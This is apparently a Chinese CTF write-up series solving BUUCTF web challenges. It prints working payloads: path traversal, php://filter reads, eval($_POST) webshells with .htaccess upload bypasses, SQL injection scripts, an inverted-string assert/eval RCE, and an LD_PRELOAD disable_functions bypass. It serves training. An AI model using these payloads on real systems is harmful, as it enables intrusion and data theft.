BUUCTF ———— one


BUUCTF :一

[HCTF 2018]WarmUp

文件包含漏洞

这道题漏洞在于它在验证后处理了我们传入的内容,而不是经过验证处理后的内容,我们只需要想办法绕过验证即可

 if (! empty($_REQUEST['file'])
     && is_string($_REQUEST['file'])
     && emmm::checkFile($_REQUEST['file'])
 ) {
     include $_REQUEST['file'];//明显看到代码中在验证后直接包含了我们上传的内容
     exit;
 } else {
     echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
 }  

开发人员为了防止意外,做了许多的验证步骤

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//建立访问白名单
         if (! isset($page) || !is_string($page)) {//规定输入类型为字符串
             echo "you can't see it";
             return false;
         }

         if (in_array($page, $whitelist)) {//第一次,直接验证输入是否在白名单中
             return true;
         }

         $_page = mb_substr(
             $page,
             0,
             mb_strpos($page . '?', '?')
         );//在原输入后加?,并规定遇到?停止截取字符串,并交给$_page,本意是得到所有的字符串
         if (in_array($_page, $whitelist)) {

             return true;
         }
            //再次验证$_page,感觉多此一举,可能是怕传入了get参数导致验证错误(仅为猜测)
         $_page = urldecode($page);//防止浏览器url解码导致错误,进行解码确定不会存在编码影响
         $_page = mb_substr(
             $_page,
             0,
             mb_strpos($_page . '?', '?')
         );
         if (in_array($_page, $whitelist)) {
             return true;
         }
            //再次验证解码后的字符串
         echo "you can't see it";
         return false;
     }
 }
//开发人员(模拟场景)为了防止因为各种原因出bug,细心的做了多种情况的验证,极大增加了用户体验。
//对安全人员而言,多重验证增加了绕过的可能

绕过点

         $_page = mb_substr(
             $page,
             0,
             mb_strpos($page . '?', '?')
         );//在原输入后加?,并规定遇到?停止截取字符串,并交给$_page,本意是得到所有的字符串
//这里告诉我们可以手动增加?绕过后面的白名单验证

目录穿越漏洞

本题flag不在网站根目录的flag文件,而是在服务器根目录的ffffllllaaaagggg文件

image-20210426203124540

所以不能使用/flag读取。

实现读取,这里使用目录穿越漏洞

参考链接:

https://blog.csdn.net/qq_41232519/article/details/107166432

linux 系统可以使用 cd .. 进入上级目录,在没有配置Nginx的配置文件/etc/nginx/conf.d/error2.conf的/files使用/闭合时,可以使用该原理实现目录穿越

include '/../../../../flag';//读取到服务器根目录下的flag

这告诉我们开发不要偷懒

payload

?file=source.php?/../../../../ffffllllaaaagggg

flag:

flag{7c14b426-3463-4739-8445-03cb56eea4e6}

[ACTF2020 新生赛]Include

php伪协议

参考地址:

https://www.freebuf.com/articles/web/182280.html

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

1535362079_5b83c41fbe910

在存在文件包含或者文件读取的情况下,有时会存在php伪协议的使用

payload:

题目明确告诉我们flag位于flag.php文件,但访问无意义,猜测在php代码中

?file=php://filter/convert.base64-encode/resource=flag.php

php://filter (本地磁盘读取)

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

flag

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZWU1YmYzNjYtMGUwYi00YTBjLWIxZDktYjBmOTVmNDk0ZGNlfQo=
//base64解码
<?php
echo "Can you find out the flag?";
//flag{ee5bf366-0e0b-4a0c-b1d9-b0f95f494dce}

题目很简单,只是在告诉我们,include文件包含可以引发伪协议漏洞造成源码泄露

[ACTF2020 新生赛]Exec

命令执行

太简单了没说头

payload

[极客大挑战 2019]Havefun

看源代码提示

             <!--
     $cat=$_GET['cat'];
     echo $cat;
     if($cat=='dog'){
         echo 'Syc{cat_cat_cat_cat}';
     }
     -->
         //get传参cat=dog,出了
         //签到难度都没有

payload:

?cat=dog

flag:

flag{4cad5ea1-a7c8-4eb8-9d46-b1676cef8e09}

[极客大挑战 2019]Upload

文件上传漏洞

image-20210518173743972

进入后搜索框提示上传图片

先测试,原原本本的传一张正常头像

image-20210518173906421

哈皮出题人,正常图像都报错,脑子有坑,于是我进行了漫长的测试,改Type改文件名,笑死,根本传不上去

没办法,查了别人的wp,发现要检测filename,Type和文件头(我正常图片你和我讲文件头,脑子有坑,Type还不能是jpeg,绝了)

改后上传成功

先上传php文件试试

image-20210518174614403

感情类型不对全当不是图片算呗,出题人我给你个buff

burp抓包,改类型和文件头,发现php后缀被过滤(意料之中)

image-20210518174830773

改phtml,报错,<? 被过滤

image-20210518174913371

这里我想到了用html语言的srcipt标签

image-20210518175021964

<script language="php">eval($_POST['mujie'])</script>

成功

image-20210518175108827

猜测上传位置是upload目录,访问它

image-20210518175151778

有显示,说明猜测正确,但post传参phpinfo()没反应,心累了,直接蚁剑

payload

<script language="php">eval($_POST['mujie'])</script>

flag

image-20210518175638202

flag{97b3f0f2-8f22-4087-8980-0ff831e3970e}

做完了这道题,我还是不懂,正常图片是没文件头吗?有这么偷懒的?简直瞎搞

[极客大挑战 2019]Secret File

同样是php伪协议

看源代码

<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

访问Archive_room.php

image-20210426214544772

点击后发现跳转到end.php

回去看源代码

<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;">

访问action.php会跳转,burp抓包

<html>
<!--
secr3t.php        
-->
</html>

访问secr3t.php

<html>
 <title>secret</title>
 <meta charset="UTF-8">
<?php
 highlight_file(__FILE__);
 error_reporting(0);
 $file=$_GET['file'];
 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
     echo "Oh no!";
     exit();
 }
 include($file); 
//flag放在了flag.php里
?>
</html

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

flag:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MTNkZGMxOTgtNTNiNS00Mjg0LTg5NTUtZmY4ZTEyN2Q3ZDVifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
//解码
<!DOCTYPE html>

<html>

 <head>
     <meta charset="utf-8">
     <title>FLAG</title>
 </head>

 <body style="background-color:black;"><br><br><br><br><br><br>

     <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

     <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
         <?php
             echo "我就在这里";
             $flag = 'flag{13ddc198-53b5-4284-8955-ff8e127d7d5b}';
             $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
         ?>
     </p>
 </body>

</html>
//flag{13ddc198-53b5-4284-8955-ff8e127d7d5b}

[极客大挑战 2019]Knife

蚁剑/菜刀连接一句话木马,白给题

image-20210519200640019

懂了吧,不懂百度一句话木马

payload

蚁剑/菜刀自己连

flag

flag{85f8bd90-e8c6-43d0-8d9d-1485b8eac6a2}

[极客大挑战 2019]Http

http基础知识及请求伪造

查看源码

image-20210519204637846

这有个跳转,直接进去

image-20210519204711878

不是这个从网址跳转,伪造referer

image-20210519204805648

我这里用的是modheader,这里同样可以使用burp抓包,以及新版的hackbar

访问

image-20210519204929008

不是题目指定的浏览器,伪造UA头即可

将原来的UA复制下来,将浏览器改为Syclover,我这里是Chome

image-20210519205137938

访问

image-20210519205209890

只能本地访问,伪造ip地址即可,伪造XFF头

image-20210519205319803

本题结束

image-20210519205334705

payload

访问就完了

flag

flag{c465ce01-d3c7-40de-a51b-9640ed18805b}

[极客大挑战 2019]PHP

php反序列

进入后说有备份的习惯,常用的备份名试试,www.zip成功

image-20210520171002623

查看给我们的源码,有个flag.php文件,虽然我知道它是错的,可我还是想提 -> 错误率up

线索在这里

image-20210520171205303
直接看class.php文件

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "hello my friend~~sorry i can't give you the flag!";
            die();

            
        }
    }
}

可知题目要求:

username=admin,password=100

接着反序列化三部曲:找目标,找入口,操控可操控数据

  • 入口:

        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    

    这里我们可以直接操控username和password

    $Name = new Name($username="admin",$password=100);
    

    目标达成,但题目使用__wakeup()函数将username恒定为guest,我们需要绕过它

  • 序列化分析:

    当一个类序列化时,类中的变量会被序列化为一串字节流

    O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
    

    若将这一串字节流再反序列化,将会得到

    object(Name)#2 (2) {
      ["username"]=>
      string(5) "admin"
      ["password"]=>
      int(100)
    }
    

    分析:

    1、O:4:”Name”:2 表示类的相关属性,O代表类是一个object,4代表类名长度为4,”Name”表示类名

    2、中说明序列化的变量/常量

    ​ s说明类型,5说明长度

    本题含义为:

    Name类中序列化了两个变量,分别是username,值为字符型的admin以及password,值为整形的100
    这里为了方便理解,我将private属性改为了public属性,实际序列化的字符会有差别

  • 序列化

    可以看出序列化对象时,不会保存常量的值。对于父类中的变量和属性值,则会保留。

    unserialize()反序列化函数用于将单一的已序列化的变量转换回 PHP 的值。

    • __wakeup()函数在对象被构建以后执行,所以$this->username的值不为空

    序列化时三个不同属性的变量结果不同

    Public属性序列化后格式:成员名

    Private属性序列化后格式:%00类名%00成员名

    Protected属性序列化后的格式:%00*%00成员名

    除过public属性变量,其他属性想要得到完整的字节流(序列化字符串),都需要编码为base64

    $A = 'O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;s:8:"username";s:5:"guest";}';
    var_dump(unserialize($A));
    
  • 绕过__wakeup()

    回归正题,php5版本__wakeup()函数存在漏洞

    详情见:

    https://www.cnblogs.com/zy-king-karl/p/11436872.html

    简单说,自己把类的变量个数改高就行

payload

$Name = new Name($username="admin",$password=100);
echo $A = base64_encode(serialize($Name));
//结果:Tzo0OiJOYW1lIjoyOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO2k6MTAwO30=
//解码:
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//改为3,绕过__wakeup():
//O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

get上传

image-20210520200710648

flag

flag{a084b447-1e32-40b2-8bdc-ab40e0e891ba}

[极客大挑战 2019]BuyFlag

POST传参加绕过限制

查看源码,有注释提示

image-20210521115301555

要求使用POST传参上传密码,密码需等于404但不能是数字

根据网页的描述,身份必须为Cuit

image-20210521172436588

抓包或者使用hackbar和POSTMAN均可

http请求中一般使用cookie或者Token代表身份

这里抓包查看,发现cookie有个user=0

改成Cuit,仍然没有绕过身份验证,想到0有错误的意思,改为1,成功绕过

image-20210521173746936

这里我用了POSTMAN,顺手练习一下POSTMAN的使用,我jian’yi

  • 输入密码

    密码这里有两个要求,值为404并且不是数字,那么想办法将404变成字符型即可

    我这里用的是添加空字符%00

    image-20210521174555374

    密码正确,提示让我们买flag,直接money=9999999999999

    提示过长,这里我想到了ISCC2021的一道题

    直接9e9

    image-20210521181626971

    成功

payload

header:
cookie: uesr=1
POST:
password=404%00&money=9e9

flag

flag{0557fab6-3496-4c4a-8195-933a6c0c49e0}

[极客大挑战 2019]FinalSQL

盲注之运算符注入

本质上还是盲注,但本题绕过方式给我打开了新世界的大门,我称它为运算符注入

测试闭合可以得知本题是数字型,过滤了空格,and,||,* 等之前我在注入中非常常有的符号

因为是数字型,我也没法用括号直接绕空格,纠结要不要看wp

因为想自己做,所以问了学长,学长直接**?id=1=(1=1)=1–+**

我???

灵感来了

php运算符并不局限于等号

还有异或,非,<>等,这些都可以作为注入的payload使用

| & !不做过多解释,一般用不到

^ 异或运算 :只有两个值一对一错时返回1,否则返回0

<> ,同 != 两个值不相等时返回1,否则返回0

= 两个相等时返回1,否则返回0

本题为数字型闭合,空格和if被过滤,所以使用此注入法盲注

payload

这里直接跑盲注脚本

库名

code_select = 'database()'
code = '(ascii(substr(('+code_select+'),'+j+',1))='+i+')--+'            
url = "http://5c906f0d-416f-4c4e-8344-d9a1907bac36.node3.buuoj.cn/search.php?id=1^"+code#url
#geek

表名

code_select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema="geek")'
code = '(ascii(substr(('+code_select+'),'+j+',1))='+i+')--+'
url = "http://bc6a95f5-79ef-472a-9c12-847e970bdcdf.node3.buuoj.cn/search.php?id=1^"+code#url
# F1naI1y,Flaaaaag

列名

code_select = 'select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")'
 code = '(ascii(substr(('+code_select+'),'+j+',1))='+i+')--+'
url = "http://bc6a95f5-79ef-472a-9c12-847e970bdcdf.node3.buuoj.cn/search.php?id=1^"+code#url
#id,username,password

code_select = 'select(group_concat(column_name))from(information_schema.columns)where(table_name="Flaaaaag")'
code = '(ascii(substr(('+code_select+'),'+j+',1))='+i+')--+'
url = "http://bc6a95f5-79ef-472a-9c12-847e970bdcdf.node3.buuoj.cn/search.php?id=1^"+code#url
# id,fl4gawsl

数据

code_select = 'select(group_concat(fl4gawsl))from(geek.Flaaaaag)'
code = '(ascii(substr(('+code_select+'),'+j+',1))='+i+')--+'
url = "http://bc6a95f5-79ef-472a-9c12-847e970bdcdf.node3.buuoj.cn/search.php?id=1^"+code#url
#哈皮题目一堆数据,不贴了,flag在F1naI1y表最后面
#可以直接查最后一个,所以
code_select = 'select(group_concat(fl4gawsl))from(geek.Flaaaaag)where(id=9)'

flag

忘复制了,太长难的重跑,自己跑吧

[极客大挑战 2019]HardSQL

报错注入

本题为过滤了空格和等于的报错注入

空格使用()绕过,等号使用like绕过

like用法同等号相同

  • 注库

    check.php?
     username=admin&
     password=admin'or(updatexml(1,(left((select(group_concat(0x7e,database(),0x7e))),18)),0))%23
    

    image-20210522202519701

  • 注表
check.php?
    username=admin&
    password=admin'or(updatexml(1,(left((select(group_concat(0x7e,table_name,0x7e))from(information_schema.tables)where(table_schema)like("geek")),20)),0))%23

image-20210522202730078

  • 注列
check.php
?username=admin
&password=admin'or(updatexml(1,(left((select(group_concat(0x7e,column_name,0x7e))from(information_schema.columns)where(table_name)like("H4rDsq1")),20)),0))%23

image-20210522202914864

数据不全,把left换成right注一次,补全数据,这里substr被过滤

check.php
?username=admin
&password=admin'or(updatexml(1,(right((select(group_concat(0x7e,column_name,0x7e))from(information_schema.columns)where(table_name)like("H4rDsq1")),20)),0))%23

image-20210522202947214

  • 注数据
check.php
?username=admin
&password=admin'or(updatexml(1,(left((select(group_concat(0x7e,password,0x7e))from(geek.H4rDsq1)),100)),0))%23

image-20210522203730259

同上,right()补全

check.php
?username=admin
&password=admin'or(updatexml(1,(right((select(group_concat(0x7e,password,0x7e))from(geek.H4rDsq1)),30)),0))%23

image-20210522203917342

payload

见如上分析

flag

flag{fb2256ff-59ea-4da1-892e-058d5790dc8d}

[第一章 web入门]SQL注入-1

简单的联合查询

http://2220f5ea-6d14-4afe-968d-a231b7f532ed.node3.buuoj.cn/index.php?id=' union select 1,2,database() %23

image-20210526211750040

没什么原理可说,干就完了

payload

  • 爆库

    http://2220f5ea-6d14-4afe-968d-a231b7f532ed.node3.buuoj.cn/index.php?id=' union select 1,2,group_concat(schema_name)from(information_schema.schemata)%23
    

    image-20210526212126019

  • 爆表

    http://2220f5ea-6d14-4afe-968d-a231b7f532ed.node3.buuoj.cn/index.php?id=' union select 1,(select group_concat(table_name)from(information_schema.tables) where table_schema="note"),3%23
    

    image-20210526212308444

  • 爆字段

    http://2220f5ea-6d14-4afe-968d-a231b7f532ed.node3.buuoj.cn/index.php?id=' union select 1,(select group_concat(column_name)from(information_schema.columns) where table_name="fl4g"),3%23
    

    image-20210526212434855

  • 得到数据

    http://2220f5ea-6d14-4afe-968d-a231b7f532ed.node3.buuoj.cn/index.php?id=' union select 1,(select group_concat(fllllag) from note.fl4g ),3%23
    

    image-20210526212624891

flag

n1book{union_select_is_so_cool}

[极客大挑战 2019]RCE ME(这是一道很有趣的rce)

取反绕过无字母数字的限制

rce 无字母数字的命令执行一般有三种

1、取反

2、异或

3、或运算

其中,取反实现最为简单,一般情况下命令也最短,是首要选择

异或实现复杂,命令长,除非~被过滤,否则不考虑

或运算介于二者之间,但或运算需要构造脚本,同样麻烦

这里没有过滤~,所以使用取反来执行命令

php脚本

<?php
$code = 'assert';
echo urlencode(~$code);
$b = '(eval($_POST["a"]))';
echo "\n",urlencode(~$b);

两个概念

  • ~取反的原理

~php中它的作用是对内容的二进制数取反

例如:10011100

这是一串我随意写的二进制数,无任何意义,使用~,即会对它的每位二进制进行取反操作,这个学过C的朋友应该都知道

即 ~10011100 == 01100011

  • php7版本的函数执行

7版本不同于7一下的版本

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。

所以在7版本中,就存在了使用(phpinfo)();执行命令的可能

而7以下的版本则不行,需要通过. file执行文件并配合通配符规则进行无字母数字的命令执行

如将文件路径写为:. /???/???/???.???

当然这样写有很大的重名率,所以在配合[^a]除a以外和[@-[] 匹配 @-[之间的字符,@和[都是使用ascii值匹配,这里表示匹配大写字母

最后将命令写入文件中,上传至服务器,使用. file访问执行即可,. file 执行文件,不需要文件本身有可执行权限

本题使用的便是php7执行动态函数的原理

查询phpinfo收集信息及构造命令连接一句话

  • 查询phpinfo();

    phpinfo中包含了许多的隐私信息,其中和本题直接相关的,是disable_function,函数禁用信息

    image-20210531184835223

  • 构造一句话连接

<?php
$code = 'assert';
echo urlencode(~$code);
$b = '(eval($_POST["a"]))';
echo "\n",urlencode(~$b);
#  结果:
#  %9E%8C%8C%9A%8D%8B
#  %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6

payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6);
//?code=(assert)((eval($_POST["a"])));

经过php7的动态函数调用,等同于assert(eval($_POST[“a”]));

注意:

这里需要使用assert断言函数执行命令而不是直接eval函数执行命名

我不知道为什么,希望知道的师傅留言给我

然后蚁剑连接即可

image-20210531184943053

连接后我们是不能直接查看flag的,因为disable_function没有绕过

蚁剑绕过disable_function

下载蚁剑插件加载

image-20210531185125124

选择模式

image-20210531185231084

这里网上许多wp说选择LD模式,可我这里会发生错误,经过我一个个试发现,PHP7_GC_UAF模式可用

选择后直接开始,cd至根目录,执行命令/readflag即可

image-20210531185517252

payload

http://17966f92-e44f-44b1-a1c5-60057e8aefe3.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4);
POST:
a=phpinfo();
cd /
/readflag

flag

flag{ca4a67fd-cf8d-412b-acc9-efd05daefd09}

原理解析

这里可以看出题人自己写的博客

https://evoa.me/archives/16/

简单来说,就是先找到一个可以调用能在运行时候启动子进程的函数,例如用于发送文件的mail()函数

然后写一个C脚本(C语言是php的底层代码)

用C脚本改写mail()函数在运行时调用的函数

这里直接贴出大佬的代码

这里可以直接看大佬的文章

https://www.anquanke.com/post/id/175403

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
//编译
//gcc -c -fPIC hack.c -o hack
//gcc --share hack -o hack.so

运行脚本

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

懂了,不会用,只好以后学了更多东西之后试了

[MRCTF2020]Ez_bypass

md5碰撞

参考链接

https://muouim.github.io/2019/01/30/MD5%E7%A2%B0%E6%92%9E/

MD5碰撞大致分为三种

字符串0e绕过

当md5值在php中是使用==或者!=判断时,存在这个漏洞

php会将0e解释为0的x次方,结果为0

一些字符串在md5加密后是以0E开头,便会造成这个漏洞

s878926199a  
0e545993274517709034328855841020  
s155964671a  
0e342768416822451524974117254469  
s214587387a  
0e848240448830537924465865611904  
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a

数组绕过

为了避免上述的漏洞,开发人员一般都使用===对md5值进行判断,这样的确可以有效避免0E漏洞

但php的md5()函数无法解析数组,接收数组时默认值为0,所以传入数组即可绕过===

?id[]=1&gg[]=2

image-20210601124012640

真实碰撞

为了应付上述的两种情况,一般使用强制转化的方法

if ((string) $_GET['a'] !== (string) $_GET['b'] && 
    md5($_GET['a']) === md5($_GET['b'])) 

同时使用强制字符串转化和===,这时前两种方法就都无法使用了,只能用真实碰撞

md5的加密方式虽然不可逆,但会存在字符串碰撞的问题,虽然概率极低。我们叫它真实碰撞

参考链接:

https://zhuanlan.zhihu.com/p/131283811

自己强行爆破肯定行不通,所以这里我们使用已有的工具

下载工具,新建1.txt 内容为1,打开cmd运行命令

fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt

image-20210601125310752

运行php脚本,读取得到的文件并转化为url编码上传

<?php 
function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
echo '二进制hash:'.md5((readmyfile("1.txt"))),"\r\n";
echo 'url编码:'.urlencode(readmyfile("1.txt")),"\r\n";
echo 'url hash:'.md5(urlencode(readmyfile("1.txt")))."\r\n\n";

echo '二进制hash:'.md5((readmyfile("2.txt"))),"\r\n";
echo  'url编码:'.  urlencode(readmyfile("2.txt")),"\r\n";
echo 'url hash:'.md5(urlencode(readmyfile("2.txt"))),"\r\n";

成功:

image-20210601130446359

对== 和!= 的类型绕过

下一步,题目要求POST传参一个密码,值为1234567,但传参不能是数字

image-20210601130846644

在1234567后任意输入非数字字符,将它从整形改为字符型即可,这里我推荐使用%00

image-20210601131007877

payload

http://b76c8ae6-00d3-45ee-a963-f52aa201e859.node3.buuoj.cn/
?id=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B2%EB%FA%AE%7FR%40%9A%80%05A%0BV%5C%9E%0D%D4%13%D0c%E0%99U%DD5%96z%0A%D3%A7%918%C6%E3%13%CD%80%8C%851%EF%0D%3B%3A%F8%DF%07%BC%EC%FD%05%9E%94%2Fv%A8%91z%ADW%BA%C7%18%0A%A9s%21K%ED+%97C%D5%3D%159%DB%E0%F7%02%C1%E1%28GH%9A%91%F8%29%B3%00p%17%60%88%C7%D7%D3B%08%AF%C3%81%16z%00R%9C%C2g%FD%CDFT%F5n%7F%82%3F%BD%40%C8%D7%C1V%E8%CDT
&gg=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B2%EB%FA%AE%7FR%40%9A%80%05A%0BV%5C%9E%0D%D4%13%D0%E3%E0%99U%DD5%96z%0A%D3%A7%918%C6%E3%13%CD%80%8C%851%EF%0D%3B%3A%F8_%08%BC%EC%FD%05%9E%94%2Fv%A8%91z%AD%D7%BA%C7%18%0A%A9s%21K%ED+%97C%D5%3D%159%DB%E0%F7%02%C1%E1%28%C7H%9A%91%F8%29%B3%00p%17%60%88%C7%D7%D3B%08%AF%C3%81%16z%00R%9C%C2%E7%FC%CDFT%F5n%7F%82%3F%BD%40%C8%D7AV%E8%CDT
passwd=1234567%00

或者:
http://b76c8ae6-00d3-45ee-a963-f52aa201e859.node3.buuoj.cn/
?id[]=1&gg[]=2
passwd=1234567%00

flag

flag{2ad589d4-ee27-4bd0-a7c9-143ae3d4729e}

[MRCTF2020]你传你🐎呢

文件上传,请求伪造

这道题明显是先让我们上传一个一句话木马

直接上传一个1.php,burp抓包,先直接放包看看

image-20210601160550731

直觉告诉我是对文件后缀和类型的检测,直接在burp改数据

image-20210601160726975

成功,猜测正确

这时候我们上传的只是一个图片,没有解析,所以再试着上传.htaccess文件

先直接在重发器改名试试

image-20210601160939995

成功,说明允许上传.htaccess文件

编写htaccess文件上传

SetHandler   application/x-httpd-php

image-20210601161205386

成功

image-20210601161218574

认识disable_function

访问木马文件

image-20210601161336742

成功

看看phpinfo();里有什么我们需要知道的信息

我们想通过木马执行命令,首先要看的就是disable_function 函数禁用

image-20210601161808848

可以看到这道题禁用了很多可以执行命令的函数,我自己是想不到用什么来执行了,所以直接蚁剑

拿到flag

image-20210601162451147

flag

flag{829ab6a4-7198-457a-8256-c98a3f9ca279}

[MRCTF2020]PYWebsite

ip伪造

查看源码,有个flag.php

访问他

image-20210601172823591

这里说保存了购买者ip,只有够买者和自己能看到

然后他在之前说成功案例,成功把我坑进去了

这里伪造ip为127.0.0.1访问flag.php即可

image-20210601173044257

flag

flag{fdd65d46-7350-4fab-9cd5-ab4129cbdba6}

.DS_Store 文件

既然提到我被绕了进去,就顺便说说这个知识点

image-20210601173235742

这里说小A买了flag,于是我到misc看了下,发现有个.DS_Store文件,用awvs扫描目录,发现这道题有很多的.DS_Store文件

先说说.DS_Store文件是什么

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存储目录的自定义属性,例如文件的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

上面是这个文件的定义,但我们不需要过多了解这些,我们应该知道的是

这个文件会造成网站的目录泄露,通过这个文件,我们可以知道目录的清单

.DS_Store可以用linux系统查看或者下载Python-dsstore工具,也可以查看二进制文件(比较麻烦)

下载地址:

https://github.com/gehaxelt/Python-dsstore

在本题我扫到了四个.DS_Store文件

image-20210601174348694

这道题看这些没什么意义,我就选最易看的说吧

比如: http://node3.buuoj.cn:27314/img/.DS_Store

这个.DS_Store文件在img目录下,我们可以通过它得到这个目录的信息

image-20210601174738332

一般访问就能下载它

image-20210601174857917

可以看到header.png等字样,随机选一个去访问

image-20210601175002936

访问成功

虽然这只是一个小插曲,但我们需要懂得它

[MRCTF2020]套娃

名副其实的套娃

字符串及正则绕过

进入后查看源代码

image-20210602165334106

$_SERVER[‘QUERY_STRING’] 获取请求字符串,以SERVER传给变量query

这里,我们首先要知道超全局变量的概念

image-20210602165618649

我们平时最常用的$_POST,$_GET都是其中的一员

  • 超全局变量

    超全局变量是在全部作用域中始终可用的内置变量

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。

QUERY_STRING 请求字符串详解

首先将$_SERVER['QUERY_STRING']的值赋给变量$query
关于$_SERVER['QUERY_STRING']获取的值:

1,http://localhost/aaa/ (打开aaa中的index.php)
结果:

$_SERVER[‘QUERY_STRING’] = “”;
$_SERVER[‘REQUEST_URI’] = “/aaa/“;
$_SERVER[‘SCRIPT_NAME’] = “/aaa/index.php”;
$_SERVER[‘PHP_SELF’] = “/aaa/index.php”;

2,http://localhost/aaa/?p=222 (附带查询)

结果:
$_SERVER[‘QUERY_STRING’] = “p=222”;
$_SERVER[‘REQUEST_URI’] = “/aaa/?p=222”;
$_SERVER[‘SCRIPT_NAME’] = “/aaa/index.php”;
$_SERVER[‘PHP_SELF’] = “/aaa/index.php”;

3,http://localhost/aaa/index.php?p=222&q=333

结果:
$_SERVER[‘QUERY_STRING’] = “p=222&q=333”;
$_SERVER[‘REQUEST_URI’] = “/aaa/index.php?p=222&q=333”;
$_SERVER[‘SCRIPT_NAME’] = “/aaa/index.php”;
$_SERVER[‘PHP_SELF’] = “/aaa/index.php”;

由实例可知:

$_SERVER[“QUERY_STRING”] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER[“REQUEST_URI”] 获取 http://localhost 后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径,如:index.php
$_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名

此段原文地址:https://www.cnblogs.com/mitang/p/3874291.html

可见QUERY_STRING获取的是?后的所有内容

bypass substr_count()

